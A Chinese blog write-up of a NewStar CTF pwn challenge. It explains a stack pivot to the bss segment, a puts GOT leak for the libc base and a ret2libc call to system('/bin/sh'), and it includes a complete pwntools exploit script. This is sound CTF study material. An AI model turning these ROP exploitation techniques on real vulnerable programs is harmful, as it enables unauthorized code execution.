New-Star-Week 3-pwn stack migration revenge

New-Star-Week 3-pwn stack migration revenge

开了NX和full relro

只溢出了8个字节,典型的栈迁移,这次迁移到bss段上。(以前做过的都是栈上的,特此记录。)

在这里插入图片描述

只要认真计算,可以不使用pop_rbp就完成条件。

  • 首先要栈迁移到bss段上,所以要想办法对让read往bss段里输入,这时候要直到,read对buf的确定是rbp-0x50,也就是只要第一次把rbp改成bss段(选址要找好,否则会有问题,这个放在最后谈。)一定不是因为我刚开始就选错了

  • 然后注意要跳转的地方

  • 在这里插入图片描述

  • 直接跳转到这里,不要让你亲爱的rbp跟着rsp跑了。

    第一波输入:
    在这里插入图片描述

payload = p64(bss_addr+0x100)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload = payload.ljust(0x50,b'A')+p64(bss_addr-0x50)+p64(leave_ret)

由于是距离rbp-0x50的地方输入,所以输入的开头位置会是bss_addr-0x50,也就是最后自己的leave会返回到输入的位置,并且把第一个输入pop给rbp(这里不能让rbp再赋予bss_addr,而是要多加一点,不能影响到)至于为什么,我再卖个关子,最后说 》__《

  • 这里接收到puts后,可以泄露libc基地址,然后再迁移打ret2libc

    payload = p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)
    payload = payload.ljust(0x50,b'A')+p64(bss_addr+0x100-0x50)+p64(leave_ret)
    

    这里稍微解释一下吧:bss+0x100是上一次打入rbp的地址,输入地址是rbp-0x50,由于我在脚本中叫“main”的函数的最后有个leave ,所以会跳转到bss+0x100,这里刚好被写入了我输入的倒数第二个数据,使得rbp这里还有一个伪装的rbp,leave完毕后rbp变成我写的这个bss_addr+0x100-0x50,然后ret到leave_ret,将rsp挪到假rbp位置,然后pop rbp,由于rbp我不用再管了,干脆给了个0,然后继续往下执行system。

  • 第一个问题:选择bss的地址,既不能破坏原有数据,也要有足够的空间!!!!,反正最后一个页表是空的,多往下找一点,因为system在执行的时候会有扩展栈的行为,这时候就会用到相对低地址的地方,然后就失败了。

  • 第二个问题:如果再次让bss_addr作为rbp,那么你就会发现,你会把自己接下来执行的东西改掉。因为本身rsp会到到rbp-0x50+8,如果这么做,接下来的代码就变成你新添加的一部分了 会是填充的A,别问我怎么知道的,问就是干过

    总之:看着官方WP找到了自己的好多错误,还是有很多基础的东西需要补充的。

from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./pwn')
#p=remote('node4.buuoj.cn',25516)
sl = lambda s :p.sendline(s)
sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
ru = lambda s :p.recvuntil(s)
rl = lambda   :p.recvline()

pop_rdi = 0x00000000004012b3
pop_rsi_r15 = 0x00000000004012b1
leave_ret = 0x401227
ret = 0x000000000040101a
#pop_rbp = 0x000000000040115d


puts_plt = 0x401060
puts_got = 0x403FD8
main_addr = 0x4011f3
bss_addr = 0x404900
payload =b'A'*0x50+p64(bss_addr)+p64(main_addr)
gdb.attach(p)
sd(payload)
#rl()
payload = p64(bss_addr+0x100)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
payload = payload.ljust(0x50,b'A')+p64(bss_addr-0x50)+p64(leave_ret)
#gdb.attach(p)
sd(payload)
puts_addr = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))

libc=ELF('./libc.so.6')
libc_base = puts_addr -libc.sym['puts']
system_addr = libc_base +libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
print(hex(libc_base))


payload = p64(0)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system_addr)
payload = payload.ljust(0x50,b'A')+p64(bss_addr+0x100-0x50)+p64(leave_ret)
gdb.attach(p)
sd(payload)

p.interactive()

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值